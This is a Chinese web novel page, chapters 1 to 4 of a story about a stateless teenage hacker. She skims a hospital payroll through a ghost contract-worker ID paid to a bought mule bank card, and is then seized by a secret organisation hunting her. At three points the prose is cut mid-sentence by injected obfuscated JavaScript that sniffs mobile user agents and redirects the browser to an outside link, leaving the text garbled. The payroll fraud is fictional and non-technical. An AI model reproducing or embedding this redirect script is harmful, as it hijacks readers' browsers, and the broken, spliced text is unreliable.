《没头脑和不高兴》 1. [Ghost] 幽灵 01 凌晨三点,急诊大楼的灯光节省得像在招魂。 走廊空得离谱,只有清洁车的轮子在地上慢悠悠地滚,发出一点惨白的存在感。 袁问拖着点滴杆,像个发着低烧的学生,一步一步往前挪。病号服太大,空荡荡地挂在她身上,把她的影子拉得很长,瘦得有些可怜。 没人怀疑她。谁会怀疑一个挂着盐水、脚步虚浮的小姑娘,半夜三点还在走廊里晃? 她今晚的病,不在身体里,在系统里。 穷病,有点难治。 她在影像科旁边的拐角停下。这里监控死角多一点,Wi-Fi 信号也刚好能扫到内部网的边缘。下午来“看病”的时候她踩过点,连清洁阿姨推车的路线都记了一圈。 点滴瓶挂在架子上,慢慢滴着。她把右手缩进袖子里,摸出手机。屏幕亮度调到了最低。 SIM 卡是一次性的,手机也是。 她打开一个伪装成普通记事本的终端程序,输入了一串简单到无聊的账号密码。 那是她三天前从外包公司的一个旧服务里翻出来的接口。这家外包公司的网站挂在一个早该退休的二级域名上,SSL证书都过期三年了。 门口保安室的玻璃上贴着一张泛黄的 A4 纸,上面用圆珠笔写着:“网络账号:outsource / 密码:123456,被锁找IT”。 她在外面蹭Wi-Fi时随手扫了一眼,就知道这玩意八成没人记得改。 接口很旧,权限极低,只挂了几套边缘系统:外包考勤、人力外包管理、薪资结算的只读视图。 但边缘系统也发工资。 她今天要做的事很简单:不是黑掉医院,不是转走千万。 只是给系统里,多塞一个不起眼的“临时工”。 一个每月2300元的外包清洁工。 这个身份挂在人力资源和外包公司之间,卡在所有真正的人工审核之外。考勤走默认值,绩效走平均数。钱会按月自动打出去,没人会为这点钱开会讨论。 对任何人来说,那只是系统里的一行数据。对她来说,那是房租,是速冻水饺,是网费。 她看着手机上跳出来的界面: “外包人员新增——待同步” 她眼睛眨都没眨,手指在屏幕上滑了两下,把那行状态改成了“已同步”。 没有人会为一个底层外包清洁工去翻数据库字段。这就是她选医院的原因——赚得不多,但安静。 她给这个“清洁工”起了个代号:A2789。 听上去像是打印机序列号,又像是没人记得的备份编号。她懒得想花哨的名字。 但在“收款账户”这一栏,她停顿了一下。 A2789 只是代号,银行系统不认代号,只认身份证和名字。 她从袖口内侧的暗袋里,摸出一个脏兮兮的、边角都磨圆了的农业银行卡。借着手机微弱的光,能看清卡背面上用油性笔写着一个名字:刘金凤。 这是她花 500 块钱,从城南那个修手机的跛子手里买的“死卡”。在黑市里,这叫“四件套”。 卡的主人可能是个欠了一屁股债跑路的赌徒,也可能是某个偏远山村里一辈子没出过县城的老人,为了几百块钱把身份证卖给了卡贩子。 这就是袁问的钱包。 她在系统里熟练地输入: - 户名:刘金凤 - 卡号:6228 4800 xxxx xxxx - 开户行:某偏远县城支行 - 工号关联:A2789(外包保洁-临时) 系统校验圈转了两圈。绿灯亮起。 只要卡号和名字对得上,银行系统根本不在乎“刘金凤”是不是真的在医院扫地。 这就是她为什么只能拿2300。因为这种买来的“骡子卡”很不安全。要是卡里突然进账几万块,原主人可能会收到短信,然后立刻去柜台挂失、补卡、把钱卷跑。 但2300块?这点钱在很多人的贪欲阈值之下,甚至可能被当成某种扣款或者是低保而被忽略掉。 而且她必须在工资发放日的那天凌晨,第一时间去 ATM 机把钱取出来,变成现金。每一秒留在卡里的钱,都不是她的。 屏幕上显示“录入成功”。只要每个月这串代码能变成钱,她就满足了。 工资系统的旧接口开始吐数据。手机震了一下,又恢复安静。屏幕上滚过一行行机器能看懂、人看了只会犯困的字段,后面跟着一堆工时模板、默认税率表、项目归集代码。 她没细看,她只需要确认一件事:这行里有A2789,有2300,有那张银行卡。 确认无误后,她瞄了一眼系统时间。 03:02。 她给自己定的时间是五分钟。超过五分钟,必须撤。 这几年,她靠这个“五分钟原则”活下来很多次:不贪、不拖、不回头。 她调好脚本,让它把“清洁工A2789”嵌进薪资表的底层。 2300,一个月。不多,但够用了。 她认真地算过一遍:租个差一点的房间、维持人类最低配生活、给设备换点配件……大概够支撑她学习一年新的东西。 她很清楚自己现在的技术就那点水平:写脚本、薅漏洞、混吃混喝。再往上,要花时间和命。2300 是她给自己买的一点点时间。 “行了。” 脚本结束,屏幕右上角跳出一个绿点。 她正准备关掉程序,手指刚悬在“断开连接”的按钮上。 突然,屏幕卡了一下。 袁问愣了一下。 此时是凌晨三点,医院的内网应该空旷得像无人的街道。 她下意识切出网络监控浮窗。那是她自己写的一个小监控脚本,平时挂在右上角,只显示三件事:延迟、流量峰值、异常目的IP计数。 这一看,她的眉头瞬间皱紧。 延迟(Ping)从原本稳定的14ms,毫无征兆地飙升到了900ms+,紧接着就是一连串红色的“Request Timed Out”(请求超时)。 图表下方多出来一行陌生的目的地址,一串看不出含义的加密隧道端点,归属地被某云厂商的机房段大致糊了一笔:“海外节点/未知城市”。 这不是她的问题。她的脚本只有几 KB,轻得像灰尘。 这只有一个解释:在这个局域网的物理层面上,有另一个庞大得可怕的东西,正在暴力吞噬所有的带宽。 就像是一条只容单车通过的小巷子里,突然硬塞进了一列重型火车。 她迅速下拉流量监控图。波形图红得刺眼。每秒钟数 GB 的数据正在疯狂传输。 来源:影像科核心交换机。 去向:未知外部节点(加密隧道)。 袁问的呼吸慢了半拍。这种流量级别,就算是把全院十年的 CT 片子打包外传也不过如此。 她顺手扫了一眼旁边的日志窗口。 —— 02:41:15 影像科 04 号端口强制占用。 —— 02:41:20 CT 机系统硬重启。 — ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068498|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' — 02:45:00 警告:日志写入权限被锁定。 她轻轻“啧”了一声。 这不是普通系统管理员会干的事。这也绝对不是医院那群只会重启路由器的运维能写出来的操作。这更像是……有人在把这台 CT 机当成某种跳板,或者是超级终端。 时间是两点四十一分。有人来过,而且动静不小。 袁问看了一会儿,觉得有点烦。她不是没好奇心,她只是知道好奇心很贵。 她现在只值 2300。 她收回视线,低头,手指在手机上飞快地动起来,开始执行她自己的“痕迹擦除流程”。 这套流程她从十四岁开始写,一直用到现在,像人家每天洗脸刷牙一样习惯。 关闭所有远端会话。 把今晚用到的密钥丢进回收站,再覆写清空。 临时工号只保留最底层的薪资字段,其余全部还原。 访问日志写一行“自动任务:备份补偿执行完成”。 她把自己伪装成系统里最无聊、最不值得看的那种噪音。 最后一步,是收拾现场。 她把点滴瓶晃了晃,看了眼针头附近鼓起的一点点皮肤。她真没打药,全程都是盐水。护士忙,她说“有点犯困、头疼”,就给挂上了。 病号服遮得严实,袖子下藏着手机。她退回拐角,把手机关机,拆开,电池、主板、SIM 卡分三处塞进衣兜。 十分钟内,她穿着病号服回到病房,把点滴挂回架子,躺上床,把被子往上拉过肩膀。 她闭上眼睛,听着走廊里的脚步声来来去去。 没有人进来查她。没有人喊她名字。没有人问她今晚在哪儿。 世界一如既往地,对她漠不关心。 很好。 清晨六点,她退号、签字,拿了个“普通感冒”的诊断证明,从医院侧门走出去。 风有点冷,她缩了缩脖子。她扔掉病号服,换回自己那件有点旧的卫衣。 城市醒过来得很慢。路口有早起送外卖的电动车,天桥下有人在卖豆浆油条,急诊门口来了一辆新的救护车。 她从所有人视线边缘绕过去,像一块不重要的影子。 脑子里在默算:这个城市,差不多可以再待三个月。等 A2789 领够两三次工资,她就换地方。 她一向不在同一个地方待太久。只要她够小心,够快,够不显眼,医院永远不会知道,自己多了一个只在数据库里活着的“临时工”。 事情到这里,本来应该结束。她这么认为。系统也是这么运转的。 只有一件事不在她的计算里: 她不是这晚唯一一个在医院系统里乱翻的人。 几小时后,医院某个封闭机房里,空调风口嗡嗡作响,机柜指示灯一排排闪烁。 值班终端上,安全审计系统刷出一小串黄色提示。 [WARN] A2789 –临时工号 –非白名单产生 来源:外包接口/旧 □□ 通道 状态:待人工复核 那个人扫了那条 WARN 一眼,停顿了半秒。 “?谁?又要加班了?” 鼠标在“忽略/保留/屏蔽”三个按钮上停了一圈,最后落在“保留”上。 他低声笑了一下,像是在无聊的战场边上看见一只顺路钻进来的老鼠。 “先放着吧。” 他点了确认,把那行日志打上一个淡淡的内部标签:tag: ghost_candidate。 “我们的大事还没做完呢。” 2. [Ghost] 幽灵 02 袁问很少回头。 回头没用。回忆不能变成钱,也不能变成代码,更不能让死人复活。 但有时候,在凌晨三点这种冷得过分安静的时间里,她会突然想起蒙特利尔的雪。 那是另一种冷。 干净、厚重,带着壁炉烧木头的味道,和昂贵的松脂香。 那时候,她有算是户口的东西。 有护照。 有名字。 不是“A2789”,不是“刘金凤”。 是袁问。 一个在点名册上会被念到、会被期待、会被爱着的名字。 那时候的人生,是一张被精心排版过的请柬。 父亲是顶级的架构师,母亲是精算师。 家里的书房从来不锁,代码在屏幕上滚动,父亲说:“看,这就是世界的乐谱。” 餐桌上讨论的不是柴米油盐,是汇率波动、数据模型和风险对冲。 那些耳濡目染的“结构化思维”,刻进了她的骨头里。 她不需要学黑客技术。 她只是在拼乐高。拆解、寻找规律、重新组装。 她本来是拿着最好的资源,准备去更广阔的世界里做“规则制定者”的。 直到十三岁那年。 那张精美的请柬,被人扔进了碎纸机。 甚至没来得及看一眼。 那年暑假,爸妈说要回国一趟。 理由很普通:“处理一点合作的事情。” 她单纯地以为只是陪父母出差,换个地方过暑假。 那天酒店的大堂很亮,所有东西都闪闪发光,连地毯上的金色纹路都很扎眼。 一桌人围着她爸笑,喊“老袁”“袁总”,酒杯碰来碰去。 母亲坐在旁边,笑得很客气。 但桌布底下,母亲的手一直死死抓着她的手腕,指甲几乎陷进肉里。 饭吃到一半,她被人叫出去“透透气”。 是一个看着有点寡淡的中年男人,戴着金属框眼镜,普通得像路上的甲方代表。 他说:“你爸妈让我带你出去走走。” 她不太想动,但母亲松开了手,给了她一个无法解读的眼神。 她只好跟着进了电梯。 等她从酒店侧门走出去,脚下刚刚踏上台阶的那一刻。 身后的大堂里,传出来一声很不对劲的声音。 那不是酒杯落地。 那是重物砸碎玻璃的声音,夹杂着桌椅被暴力拖翻的噪音。 她本能地回头。 那个眼镜男人一把抓住她的肩膀,几乎是用蛮力把她拽向旁边的消防通道。 “别看!” “往前跑!” 她没理解发生了什么,但那一瞬间,风把里面的味道吹了出来。 烟、酒精,还有一种她在厨房里才会闻到的铁锈味。 血腥味。 她还是回头看了一眼。 大堂门口有人倒下去了。 那是母亲的裙摆,很漂亮的那条红色真丝裙。 然后,那红色迅速扩散,变得更深,更黏稠。 眼镜男人骂了一句极低极快的脏话,拽着她冲进楼梯间。 “不要呼喊。” “记住——” “今天的事,你什么都没看到。” 他的声音不温柔,甚至带着颤抖,但那种命令感让她不得不服从。 她跟着跑了几十级台阶,腿软得像面条,脑子里只有一个念头:爸妈还在里面。 在那之后的一段时间里,她跟着这个男人躲藏。 他编了很多谎话,告诉她父母只是受伤了,去做别的秘密工作了。 他给她买吃的,教她怎么看人眼色,教她“不要相信任何人”。 就在她快要相信这种临时安稳的时候。 他也倒下了。 同样的血泊,同样的铁锈味。 他最后只来得及对她说一句: “跑。别让人发现你的过去。” 十三岁之后没多久,袁问的人生彻底成了“黑户”。 没有身份证,没有学籍,公安系统里只有一份“走失未成年人”的报案记录,甚至因为跨国背景而被一笔带过。 她从正式世界里被“删除”。 流浪的头一年,她在一个网吧后面的储物间里睡。 网吧老板是个胖胖的大哥,嗓门大,心软。看她一个人缩在后巷淋雨,给了她一碗泡面。 “行吧,小孩,先在这儿凑合着。” 她白天帮着擦机箱、拖地、给人冲泡面。晚上可以多玩几个小时电脑。 一开始是玩游戏,后来发现帮人打装备、做日常任务能换钱。 再后来,她发现手打太慢。 她试着改了改网上的外挂脚本。 那一串串枯燥的代码,在她眼里居然像是有了逻辑的乐谱。 她很擅长数理逻辑,那是父母留给她最后的遗产。 十五岁,她不想再连累好心的老板。 网吧经常有警察突击检查未成年人。 每当警察推门进来喊“查身份证”的时候,她就会极其自然地把手里的拖把一扔,冲着柜台喊一声: “爸!我妈让你早点回去吃饭!” 老板总是愣一下,然后极其配合地笑骂:“这死孩子,作业写完了吗?” 警察扫一眼这对“父女”,摆摆手就过了。 这种机灵救了她很多次,也让她意识到: 只要你演得像,世界根本不在乎你是真的假的。 离开网吧后,她换了种活法。 她不住旅馆,太贵,还要查证件。 她喜欢那种老旧小区的地下车库,有些房东会把里面的杂物间改出来出租。 一个月500块。 阴暗、潮湿,没有窗户,只有头顶一根昏暗的灯管。 但不需要登记。 只要给现金,没人管你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068499|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁,也没人管你在屋里敲什么代码。 吃饭也是个问题。 她不去饭馆,太贵。 她更喜欢去大学门口。 一到饭点,全是送外卖的小哥,电动车堵得水泄不通。 “尾号 1278?”外卖小哥对着空气喊。 没人应。 袁问就会在这个时候,恰到好处地从旁边挤出来,手里还要假装拿着手机看一眼。 “这儿呢,我是 1278。” 她接过来,语气淡定,甚至还能顺口抱怨一句:“怎么没给筷子?” 这种“开盲盒”的感觉其实还挺舒服。 有时候是麻辣烫,有时候是炸鸡,有时候是减脂沙拉。 她不得不承认,大学生的生活确实不错。 靠着这种“生活智慧”,和越来越熟练的代码技术,她活到了十七岁。 她不碰大系统。 银行、警务、政府网,那是找死。 那种系统的入口都有专线审计,连输入错误三次密码都会被记录;扫描端口都是自杀行为。 她曾经误扫过某政务外网的测试端口,对面立即回弹一串长得像验证码的数字,那是入侵检测系统IDS 在“打招呼”。她吓得立刻断电,从此再不敢靠近。 她只找那种体量庞大、管理混乱、充满漏洞的地方。 物流公司、物业管理系统、还有这次的医院。 她对自己现在的状态有一个定义: 系统里的幽灵。 那天去医院挂急诊,不是真病。 是低血糖,加上一晚没睡,顺便利用这种“虚弱”的状态藏身。 她躺在急诊大厅硬得硌人的椅子上,看着头顶惨白的灯管发呆。 大厅电视里在放那种无聊的健康讲座:“定期体检,早发现早治疗……” 她看了半天,突然冒出一个念头: 如果有一天,她死在路边的某个地下车库里。 系统会不会连“这具尸体是谁”都查不到? 这个念头像一块石头,沉在她胃里。 她不喜欢这种感觉。 她没有打算活得很久,但也没打算死得这么不明不白。 所以她才会那么认真地,给自己找一条长期一点的——哪怕只有 2300 的“工资线”。 A2789。 这不仅仅是钱。 这是她在那个庞大、正规、有序的系统里,留下的一点点指纹。 她用这种方式,往世界问了一句: “我算一个人吗?” 世界没有回答。 或者说,世界忙着运转,没空搭理一只小虫子。 她以为这次也一样。 拿钱,走人,换个地方继续流浪。 后来她才知道。 这次有一个系统,在远处抬了抬眼皮。 有人在那条日志上,按下了“保留”。 她被标记了一次。 3. [Ghost] 幽灵 03 医院那晚之后,袁问照计划执行。 第一步,撤。 她退了那家地下车库隔间。房东叼着烟,看都没看她一眼,把剩下的房租全吞了。她没争辩,背着包就走。 第二步,换城边。 她没坐地铁,也没坐公交。她拖着箱子,专挑没有探头的土路走,中间搭了一辆运菜的三轮车,给了司机三块钱现金。 最后到了城市的边缘,城乡结合部的一个破旅馆。 这里不需要身份证,给钱就行。 窗户外面是臭水沟,好处是——这地方连路灯都坏了一半,没人会在这里装高清天网摄像头。 第三步,换设备。 她把那台“挂盐水专用机”拆散,零件分批扔进了三个不同小区的垃圾桶。 然后去二手电子城,在那堆洋垃圾里淘了一台掉漆的笔记本。 开机要两分钟,风扇响得像直升机。 但能用。 这台电脑来得不容易。 为了省下那两百块差价,她在二手电子城的那个充满烟味的柜台前,足足演了半个小时。 老板是个满脸横肉的光头,看她年纪小,穿得破,上来就推销一台粉色的上网本。 “小妹妹,这台好,外观九九新,看视频一点不卡,只要八百。” 那是一台十年前的电子垃圾,除了外壳刚喷过漆,里面估计连电容都爆浆了。 袁问缩着肩膀,手在衣角上搓了搓,一脸怯生生地说:“叔叔,我不看视频……我就是给我弟买个学习机,老师让学打字。” 她指了指角落里那台黑乎乎、厚得像砖头一样的商用旧本。 “那个……那个看着结实,能不能便宜点?” 光头老板翻了个白眼:“那个?那个没声卡,听不了歌,还没电池。” “没电池行,插电能用就行。”袁问显得很执着,“俺弟皮,那粉的容易摔坏。” 老板把那台黑砖头扔在柜台上:“四百,不讲价。” 袁问没急着掏钱。 她装作不懂行的样子,笨手笨脚地把电脑翻过来,像买西瓜一样拍了拍底壳。 实际上,她的手指在极其隐蔽地按压着散热口的栅格——没有脆裂感,说明塑料没老化;又迅速摸了一下螺丝孔——漆面完整,说明主板没被拆修过。 确认是原装货。 “三百吧叔叔。”袁问从兜里掏出一把皱巴巴的零钱,数得很慢,“我只有三百,还得留十块坐车回去。” “三百?收废品都不止这个价!” “那……那我再去前面那家看看。”袁问转身就要走,动作很坚决。 “回来回来!”老板不耐烦地挥手,“拿走拿走!看你就烦,一股穷酸气。” 袁问转过身,露出一个憨厚的笑:“谢谢叔叔。” 她抱着那台沉得要死的“砖头”走出商场,直到拐进没人的巷子,眼神里的憨厚才瞬间消失。 三百块。 买到一台虽然没电池、但 CPU 是标压i5,且支持双硬盘位的神机。 只要给她一根网线,这块砖头就能变成武器。 第四步,清尾巴。 A2789的工号留着。薪资字段留着。 其他的登录痕迹,她用洋葱路由跳板清理了一遍。 一切都很完美。 直到第十二天。 那封来自医院财务系统的邮件发到了她的临时邮箱。 【A2789临时工:考勤异常,请补齐。】 她知道,有人在查这个号了。 但她赌对方查不到她头上。因为那张收款的卡是买来的“死卡”,名字叫刘金凤,跟她袁问有什么关系? 她决定装死。 只要我不动,我就只是个数据错误。 第四天中午。 袁问正在房间里吃一碗泡得发涨的方便面。 门被敲响了。 咚咚咚。 袁问正在吃面的手猛地停在半空。 作为一只流浪多年的惊弓之鸟,她对这种声音太熟悉了。 不是客房服务,不是收水电费。 是“穿制服的”。 她的瞳孔瞬间收缩,大脑在肾上腺素的冲击下变得极其清晰。 跑? 来不及了。这里是三楼,窗户外面装了防盗网,跳不下去。 只能开门。 但在开门之前,她必须处理掉两样东西: 第一,电脑屏幕。 屏幕上正挂着那个关于漏洞分析的英文网页。 她几乎是从椅子上弹起来的,手指在键盘上飞快掠过关闭网页,清空历史缓存。 做完这个动作,她没有选择关机,而是顺手打开了一个极低俗的盗版小说网站,让页面停留在花花绿绿的广告上。 一个不学无术的网瘾少女,这才合理。 敲门声再次响起,比刚才更急促。 “开门!查房!” “来……来了!穿衣服呢!” 袁问喊了一嗓子,声音带着刚睡醒的沙哑。 最后,她看了一眼桌上那张“刘金凤”的银行卡。 她没有藏那张卡。 甚至故意把它往桌子显眼的地方推了推。 弃车保帅。 这张卡就是她用来顶罪的“车”。 她拖着鞋,发出邋遢的摩擦声,走到门口,拉开了门栓。 门外站着两个穿制服的民警,还有一个辅警。 “查房,身份证。” 领头的民警看了看这个家徒四壁的房间,又看了看袁问。 袁问缩了缩脖子,声音很小: “警察叔叔……我身份证丢了,还没补。” 民警皱了皱眉,拿出一个像手机一样的警务通终端,对着袁问晃了晃: “站直,别动。” 他对着袁问拍了张照。 屏幕上转了几个圈,正在上传到市局的人像比对库。 等待的几秒钟里,民警问:“叫什么名字?” 袁问眨巴着眼睛,一脸真诚:“范水水。” 旁边的辅警没忍住,“扑哧”笑了一声。 这时候,警务通“滴”了一下,比对结果出来了。 民警看着屏幕,脸色沉了下来,把屏幕转过来给袁问看。 上面是一张去年的存档照片,那是她在派出所留下的“案底照”。 照片下面写着: 姓名:杨密密(自报) 案由:盗窃(外卖/便利店食品) 处理结果:因未满18周岁且金额较小,批评教育,采集指纹后释放。 民警把警务通收回去,看着袁问,气笑了: “行啊,去年叫杨密密,今年改叫范水水了?你还挺会挑,尽着一线女明星薅是吧?” 袁问低着头,脚尖在地上蹭了蹭,装作听不懂的样子,一副死猪不怕开水烫的德行。 “我……我就觉得这名字好听,招财。” “少贫嘴!”民警瞪了她一眼,“那张‘刘金凤’的卡,在你手里吧?” 袁问心里猛地一跳,但脸上表情没变,反而露出一点惊恐: “什么卡?我不认识……我就捡到过一张卡,但是我没敢用啊……” “少废话。”民警拿出手铐晃了晃,没真的铐她,只是指了指楼下,“跟我们走一趟。有人举报那张卡涉嫌诈骗洗钱,监控拍到你在 ATM 机取过钱。” 袁问松了一口气。 只是查洗钱卡,不是查黑客。 那这就好办了。 派出所,候问室。 袁问坐在椅子上,低头扣着指甲缝里的泥。 她已经在这儿晾了两个小时了。 期间有个年轻警察来问过话。 “那张卡哪来的?” “捡的。” “捡的卡密码你也知道?” “卡背后写着呢,我就试了一下……取了点钱买吃的。” “医院系统里的工号是怎么回事?” 袁问抬起头,眼神清澈愚蠢:“什么工号?我不懂电脑啊警察叔叔,我就初中毕业……那卡里有钱我就取了,我真不知道是谁打的钱。” 主打一个:我是文盲,我贪小便宜,但我真的不懂技术。 年轻警察被她这一问三不知的态度搞得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068500|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没脾气,记录了几笔就出去了。 又过了一会儿。 门开了。 进来一个没穿警服的中年男人,手里拿着两个热包子,还有一瓶水。 他没坐审讯位,而是拉了把椅子坐在袁问对面,把包子递给她。 “饿了吧?吃点。” 袁问确实饿了。她没客气,抓起包子就啃,吃相狼吞虎咽,像个真的流浪儿。 中年男人看着她吃,也不说话,手里把玩着一个打火机。 等袁问吃完第一个包子,正伸手拿水的时候。 男人突然开口了,语气像是在聊家常: “指纹库里只有那个‘杨密密’的记录,没有户籍信息。” “你就像是从石头缝里蹦出来的。” 袁问喝了一口水,含糊不清地嘟囔:“我是孤儿,从小没户口。” 这是她用了几百遍的说辞。 男人笑了笑,没接这个茬。 他身体微微前倾,盯着袁问那双因为吃东西而稍微放松警惕的眼睛。 毫无预兆地。 他用一种极低、极快、却又极清晰的声音,吐出了两个字: “袁问。” 那一瞬间。 袁问正在拧瓶盖的手,非常细微地,停顿了零点一秒。 那是生理本能。 那是大脑皮层在听到自己真实名字时,无法控制的电流反应。 虽然她立刻就掩饰过去了。她装作没拧开瓶盖,手滑了一下,水洒出来一点。 她茫然地抬起头,看着男人:“啊?叔叔你说啥?” 但这零点一秒的停顿,被男人捕捉到了。 男人眼底的笑意消失了。 他站起来,拍了拍裤子上的灰。 “没事。吃饱了就准备一下。” 他转身往外走,走到门口时,回头看了她一眼,眼神冷得像冰: “名字不错。” 门关上了。 袁问手里还拿着那瓶水。 但她的后背,瞬间被冷汗浸透了。 她装傻装了这么多年。 刚才那一下,露馅了。 这人不是普通警察。普通警察查不到“袁问”这个名字,那个名字早在五年前就该死绝了。 有人在找她。 而且对方知道她是谁。 十分钟后,袁问被带出了候问室。 一名年轻的派出所民警抱着登记簿,气喘吁吁地追到了大门口: “哎!邢队!留步!这手续还没走完呢!系统里还没录入移交,人不能就这么带走啊……” 老邢脚下的步子没停,甚至连头都没回,丢下一句话。 “特事特办。这事儿烂在肚子里,别往系统里录,对你没好处。” 说完,他拉开车门,直接钻了进去。 民警僵在原地,抱着那本毫无用处的登记簿,看着那辆连车牌都没挂的黑色商务车扬长而去,卷起一地灰尘。 “……什么东西。” 民警愤愤地啐了一口,小声嘀咕道:“又是这帮搞秘密行动的……连个正经公章都没有,跟绑架似的。” 车上。 这次不是要把她放了,也不是送去看守所。 几个穿着便衣的壮汉把她夹在中间,这辆经过改装的别克商务车像个移动的铁笼。车窗贴着深黑色的单向透视膜,外面看不见里面,里面也只能看到外面灰蒙蒙的影子。 大概过了一个小时,车停在了一处偏僻的院子里。 大门上挂着一块不起眼的牌子: 【晨曦青少年特殊教育矫治中心】 袁问看着那个牌子,心里冷笑了一声。 什么矫治中心。 这分明是个笼子。 车门拉开。 “下车,范水水。” 那个中年男人站在车门口,似笑非笑地看着她,“或者,你更喜欢我叫你别的?” 袁问低下头,没接话,乖乖下了车。 只要我不认,我就永远是范水水。 哪怕关在这个笼子里,我也只是个爱偷东西、爱撒谎的小混混。 这是她最后的防线。 4. [Ghost] 幽灵 04 “晨曦特殊教育矫治中心”的更衣室里,充满了消毒水和陈旧霉菌混合的味道。 “衣服脱了。全部。” 一个面无表情的女教官拿着警棍,敲了敲铁皮更衣柜的门,声音在空旷的房间里回荡。 袁问站在冷硬的水泥地上,动作迟缓地解开卫衣的拉链。 她低着头,乱糟糟的刘海遮住了眼睛,看起来像是个被吓傻了、又或者是早已麻木的街头小混混。 “快点!磨蹭什么?”教官不耐烦地催促。 袁问缩了缩肩膀,脱下卫衣,又脱下里面那件洗得变形的T恤。 她很瘦。 长期营养不良让她甚至还没怎么发育,肋骨一根根清晰可见,皮肤苍白。 最后,她脱下那双脏得看不出原本颜色的帆布鞋,赤着脚踩在冰冷的水泥地上。 她身上什么都没有。 没有钱,没有手机,没有身份证件,连口袋里揣点抽纸都没有。 她是真正的一无所有。 女教官嫌弃地用警棍挑起她的旧衣服,大概检查了一下口袋,确信里面不明食物残渣和碎屑后,直接把衣服扫进了一个写着“待销毁/清洗”的大塑料筐里。 “编号0913。以后这就是你的名字。” 教官丢过来一套灰色的粗布制服。 “穿上。” 袁问一声不吭,默默地捡起制服套在身上。衣服有点大,空荡荡地挂在身上,让她看起来更像个影子。 她没有反抗,没有多问一句。 卑微、顺从、麻木,像个习惯了在看守所和救助站之间打转的老油条。 与此同时,审讯室背后的观察间里。 之前抓她的那个中年男人——这里的负责人,正站在单向玻璃前,手里夹着一支没点燃的烟。 他盯着更衣室里的监控画面,眉头锁成了一个死结。 “邢队,DNA 检测结果出来了。” 旁边的技术员递过来一份报告,语气有些无奈,“和以前一样,跟那个样本……不匹配。” 老邢看都没看那份报告,直接把它扔到了桌子上。 “废话。” 他冷哼了一声,声音里带着压抑的怒火,“当然不匹配。” 这是一根扎在组织心头五年的刺。 五年前,在那个清洗任务结束后,负责现场清理的“清道夫”犯了一个致命的错误,或者是故意的,谁知道呢。 那个清理组的蠢货,把现场残留的DNA样本搞混了。 他们以为提取到的是那个小女孩的生物信息,结果后来才发现,那是一个被误杀的保镖的皮肤组织。而真正的目标样本,早已在混乱中被销毁或者污染。 至于袁问父母的,甚至上交的毛发都不是人类。 组织失去了那个女孩唯一的生物学识别特征。 他们没法通过 DNA 来找人。 这五年里,组织就像是在大海捞针。他们抓了无数个年龄相仿、背景模糊的女孩。有的像流浪汉,有的被收养在孤儿院,有的在黑网吧里混日子。 每一个抓回来,都要经过这种原始而繁琐的甄别。 大部分都是冒牌货。 “但是邢队……”技术员犹豫了一下,指着屏幕上的袁问,“这个0913,有点不一样。” “哪里不一样?” “太像了。”技术员调出另一组数据,“不是说长相,长相可以通过整容或者化妆改变。我说的是……天赋。” “她在医院留下的那个脚本,我们技术部的人分析过了。” “结构非常精简,逻辑极其专业,那种利用系统底层冗余来隐藏自己的手法……跟当年她母亲做账的手法,有着惊人的相似。” “而且,”技术员补充道,“她父亲是顶级的架构师,母亲是精算师。这种基因里的逻辑天赋,是DNA测不出来的,但骗不了人。” 老邢盯着屏幕里那个正在笨拙地扣扣子的瘦弱女孩。 “是啊。” 他把烟头狠狠地摁在桌子上,直到烟丝断裂。 “我也觉得像。” “那种像老鼠一样警觉,却又有着不属于这个阶层的冷静。” “既然DNA没用,那就用最原始的办法。” 老邢整理了一下衣领,推开了审讯室的门。 “去把她的脑子剖开,看看里面到底装的是什么。” 审讯室里四面白墙,亮得让人眼晕。 袁问被带进来的时候,感觉这里不像是个审讯室,更像是个手术台。 老邢已经坐在桌子后面了。 桌子上没有水,没有台灯,只有一台平板电脑。 “坐。” 袁问坐下,双手缩在灰色制服的袖子里,眼神飘忽,盯着桌角的一块污渍看,仿佛那上面能开出花来。 “杨密密,”老邢念着这个名字,像是在咀嚼一块嚼不烂的肉,“或者范水水?你想好今天叫什么了吗?” 袁问吸了吸鼻子,声音瓮声瓮气的,带着一股没文化的赖皮劲儿: “警官,名字就是个代号,叫啥不行啊。我身份证真丢了,补办要钱,我没钱。” “行,代号。” 男人点点头,“那我们聊聊别的。比如那个医院的工号A2789。” “我说过了,我不懂什么工号。”袁问立刻接话,语速很快,带着那种没文化的急躁,“我就是捡了张卡!我也没取多少钱,就几百块!你们至于吗?几百块钱还要把我关这种地方?” 她瞪着眼睛,脖子梗着,演得那叫一个理直气壮的无知。 “捡的?” 老邢身体前倾,压迫感扑面而来。 